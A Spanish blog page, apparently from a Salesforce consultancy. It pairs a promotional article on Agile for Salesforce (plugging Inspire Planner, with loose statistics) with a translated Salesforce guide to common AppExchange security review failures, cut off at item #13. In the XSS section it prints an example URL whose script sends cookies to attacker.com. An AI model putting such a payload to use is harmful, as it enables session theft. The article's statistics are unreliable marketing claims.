  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% más rápido y un 16% más productivo que el modelo de desarrollo de proyectos convencional.
  • Participación del cliente: Agile enfatiza la colaboración y la comunicación abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentación periódica después de cada sprint. Esta participación continua garantiza que el producto se desarrolle según sus expectativas, lo que reduce las posibilidades de sorpresas de último momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obstáculos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su énfasis en la planificación y las revisiones periódicas, facilita la estimación de cronogramas y presupuestos. Cada sprint tiene una duración y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones rápidamente y con una fuente de alta previsibilidad.

Cómo Agile en Salesforce mejora la gestión de proyectos

El verdadero potencial de Salesforce sólo puede desbloquearse si se combina con un enfoque de gestión de proyectos adaptativo. Así es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentación: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentación suele ser una ocurrencia tardía. Agile en Salesforce permite adaptaciones rápidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints más pequeños y manejables. Según una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptación y eficacia.
  • Colaboración y comunicación: Agile no es solo una metodología; es una cultura. Mejora un entorno de comunicación abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, estén en sintonía. Esta colaboración mejorada garantiza que la implementación de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura ágil sólida en su organización puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las características destacadas de Agile es su énfasis en la visibilidad. Herramientas como los tableros Kanban y los gráficos de evolución ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendición de cuentas y permite intervenciones oportunas si el proyecto se desvía de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gestión de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificación temprana de posibles obstáculos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen rápidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Después de cada sprint, los equipos realizan retrospectivas, analizando qué salió bien y qué no. Estos conocimientos allanan el camino para la optimización de procesos, garantizando que el equipo evolucione y mejore. Según Hexacta, adoptar una mentalidad de mejora continua en el desarrollo ágil ayuda a mejorar la productividad del equipo y mejora la innovación.
Registro de riesgos del proyecto en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Implementación de Agile en proyectos de Salesforce

La integración de metodologías ágiles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aquí hay una guía de 4 pasos para incorporar Agile a la perfección en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas específicas.

  • Propietario del producto: el propietario del producto establece la visión del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos ágiles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementación real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gestión de proyectos para ayudar en la implementación ágil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios ágiles, como:

  • Reserva
  • tableros kanban
  • Planificación de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes ágiles y paneles de control

Inspire Planner es una aplicación de gestión de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificación de sus clientes con más de 140 reseñas de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar fácilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.

Dado que Inspire Planner se encuentra dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Además, Inspire Planner también ofrece una funcionalidad avanzada pero intuitiva de gestión de proyectos en cascada. Al combinar las metodologías Waterfall y Agile en un solo paquete con un solo costo de suscripción, Inspire Planner es la aplicación para todas sus necesidades de gestión de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Planificación de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gestión de proyectos:

  • Planificación de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obstáculos y garantizar que la implementación de Salesforce siga por buen camino.
  • Revisiones de Sprint: después de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptación a los desafíos relacionados con Agile en Salesforce

Cada plataforma tiene desafíos únicos y Salesforce no es una excepción. Las ceremonias ágiles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones específicas de Salesforce, integraciones con aplicaciones no nativas o la gestión de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duración de los sprints puede variar según los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores prácticas específicas de Salesforce.

Mejores prácticas para introducir Agile en Salesforce

Fusionar el mundo de las metodologías ágiles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores prácticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores prácticas que puede probar:

Capacitación y mejora de equipos en prácticas ágiles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo esté bien equipado para nadar. Esto significa invertir en sesiones de capacitación integrales que presenten a los miembros del equipo los principios básicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar fácilmente los desafíos de las implementaciones de Salesforce. Además, las sesiones periódicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las últimas metodologías ágiles y aplicaciones ágiles para Salesforce.

Garantizar canales de comunicación claros entre los expertos de Salesforce y los profesionales ágiles

La comunicación clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales ágiles que aportan experiencia en metodología.

Esto garantiza que los procesos ágiles se adapten a las demandas únicas de Salesforce. Las reuniones periódicas, las sesiones frecuentes de retroalimentación y los canales de comunicación abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar periódicamente el proceso ágil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos ágiles continuamente. Esto podría significar ajustar la duración de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas específicas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas periódicas pueden ofrecer información sobre áreas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desafíos de Agile en Salesforce y Soluciones

Combinar metodologías ágiles con implementaciones de Salesforce, si bien es prometedor, es un desafío. Sin embargo, estos desafíos pueden abordarse eficazmente con previsión y planificación estratégica.

Éstos son algunos de los posibles obstáculos y cómo superarlos:

Resistencia al cambio de las metodologías tradicionales

  • Desafío: Los equipos acostumbrados a las metodologías tradicionales de gestión de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Solución: La gestión del cambio es clave. Comience con sesiones de concientización que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres prácticos, las historias de éxito y los proyectos piloto pueden ayudar a los equipos a realizar una transición sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopción.

Alinear sprints ágiles con los ciclos de lanzamiento de Salesforce

  • Desafío: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints ágiles. Esto puede provocar problemas de sincronización, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Solución: La planificación estratégica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podría significar sprints más cortos o alinear sprints específicos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos rápidos de desarrollo

  • Desafío: La naturaleza iterativa de Agile significa ciclos de desarrollo rápidos. Si bien esto garantiza una entrega más rápida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Solución: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integración continua y las revisiones periódicas del código pueden garantizar que la calidad no se vea comprometida. Además, dedicar sprints específicos o partes de sprints a controles de calidad, especialmente después de importantes personalizaciones de Salesforce, puede garantizar un producto final sólido.

Pensamientos finales

La fusión de metodologías ágiles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodologías tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendación sino un imperativo estratégico. A medida que la industria continúa evolucionando, la capacidad de adaptarse e iterar rápidamente definirá el éxito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evolución y mejorar la colaboración. El futuro llama y es ágil.

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Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

